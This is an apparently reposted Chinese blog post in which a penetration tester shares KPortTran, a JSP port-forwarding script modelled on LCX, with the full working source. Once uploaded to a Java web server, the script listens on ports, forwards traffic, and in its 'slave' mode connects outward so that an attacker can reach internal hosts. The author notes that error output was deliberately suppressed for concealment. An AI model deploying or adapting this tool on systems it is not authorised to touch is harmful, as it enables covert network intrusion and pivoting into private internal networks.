最近接触内网很多，渗透过程中，由于windows和linux的差别以及运行语言环境的限制导致端口转发经常出现问题。于是自己写了个简单的JSP的端口转发脚本。仿造LCX的功能，具有正向、反向、监听三种模式。对于目前数量众多的JAVA WEB网站来说，可以比较方便的实现端口转发。
在这里发布出来，小伙伴们使用过程中，如果发现什么bug欢迎提交~
用法如下 KPortTran Usage：
参数
xxx.com/KPortTran.? lip = local ip / 本地ip //一般为内网主机IP lp = local port / 本地端口 //一般为内网主机端口 rip = remote ip / 远程ip //一般为外网连接者IP，或者内网其他主机 rp = remote port / 远程端口 //一般为外网连接者端口 lp2 = local port2 / 本地端口2 //本地监听转发时的第二个端口 m = mode / 运行模式 //合法的值有：listen tran slave三种
运行模式
m = listen 需要参数:lp、lp2 该模式下，会在本地监听两个端口，相互转发数据 m = tran 需要参数：lip、lp、rip、rp 该模式为正向转发下，会在本地的lip上监听lp端口，当有连接建立时，再连接rip的rp端口。并将lip的lp上接收到的数据发向rip主机的rp端口。 m = slave 需要的参数： lip、lp、rip、rp 该模式为反向转发，会分别连接主机lip的lp端口 和 主机rip的rp端口。并转发两者数据，可用于内网反连。
注意事项： 某些server上使用时，可能由于编码问题会报错，请根据实际情况，更改代码首行的编码设置。 为了隐蔽，没有设置错误信息返回。如果不能执行，请检查一下参数。
测试截图： 
<%@page pageEncoding="GBK"%><%@page import="java.io.*"%><%@page import="java.util.*"%><%@page import="java.nio.charset.*"%><%@page import="javax.servlet.http.HttpServletRequestWrapper"%><%@page import="java.net.*"%><%/*code by KingX*/class KPortTran { public void listen(String port1, String port2) { ServerSocket listenServerSocket = null; ServerSocket outServerSocket = null; try { listenServerSocket = new ServerSocket(Integer.parseInt(port1)); outServerSocket = new ServerSocket(Integer.parseInt(port2)); } catch (NumberFormatException e) { } catch (IOException e) { } Socket listenSocket = null; Socket outSocket = null; try { while (true) { listenSocket = listenServerSocket.accept(); outSocket = outServerSocket.accept(); new tranThread(outSocket, listenSocket).start(); new tranThread(listenSocket, outSocket).start(); Thread.sleep(200); } } catch (Exception e) { } } public void slave(String targetIP, String port1, String srcIP, String port2) throws IOException { InetAddress src = InetAddress.getByName(srcIP); InetAddress dest = InetAddress.getByName(targetIP); int p1 = Integer.parseInt(port1); int p2 = Integer.parseInt(port2); new Server(src, p2, dest, p1, true); } public void tran(String srcIP, String port1, String targetIP, String port2) throws NumberFormatException, IOException { InetAddress src = InetAddress.getByName(srcIP); InetAddress dest = InetAddress.getByName(targetIP); int p1 = Integer.parseInt(port1); int p2 = Integer.parseInt(port2); new Server(src, p1, dest, p2, false); }class tranThread extends Thread { Socket in; Socket out; InputStream is; OutputStream os; public tranThread(Socket in, Socket out) throws IOException { this.is = in.getInputStream(); this.os = out.getOutputStream(); this.in = in; this.out = out; } private void closeSocket() { try { is.close(); os.close(); in.close(); out.close(); } catch (IOException e) { } } @Override public void run() { super.run(); byte[] buffer = new byte[4096]; int len = -1; try { while (true) { if (in.isClosed() || out.isClosed()|| (len = is.read(buffer, 0, buffer.length)) == -1) { break; } else { os.write(buffer, 0, len); os.flush(); } } } catch (IOException e) { closeSocket(); } finally { closeSocket(); } }}class Server extends Thread { InetAddress src; InetAddress dest; int p1, p2; boolean reverse = false; public Server(InetAddress srcIP, int srcPort, InetAddress targetIP, int targetPort, boolean flag) { this.src = srcIP; this.dest = targetIP; this.p1 = srcPort; this.p2 = targetPort; this.reverse = flag; start(); } @Override public void run() { super.run(); if (reverse) { try { Socket s = new Socket(src, p1); Socket s2 = new Socket(dest, p2); new tranThread(s, s2).start(); new tranThread(s2, s).start(); while (true) { if (s2.isClosed() || s.isClosed()) { if (s2.isClosed()) { s2 = new Socket(dest, p2); } if (s.isClosed()) { s = new Socket(src, p1); } new tranThread(s, s2).start(); new tranThread(s2, s).start(); } Thread.sleep(1000); } } catch (IOException e) { } catch (InterruptedException e) { } } else { ServerSocket ss; try { ss = new ServerSocket(p1, 5, src); while (true) { Socket s = ss.accept(); Socket s2 = new Socket(dest, p2); new tranThread(s, s2).start(); new tranThread(s2, s).start(); } } catch (IOException e) { e.printStackTrace(); } } }}}%><%final String localIP = request.getParameter("lip");final String localPort = request.getParameter("lp");final String localPort2 = request.getParameter("lp2");final String remoteIP =request.getParameter("rip");final String remotePort =request.getParameter("rp");final String mode =request.getParameter("m");KPortTran pt = new KPortTran();if (mode.equals("tran")) { pt.tran(localIP, localPort, remoteIP , remotePort);}if (mode.equals("slave")) { pt.slave(localIP, localPort, remoteIP , remotePort);}if (mode.equals("listen")) { pt.listen(localPort, localPort2);}%> 本文转载至，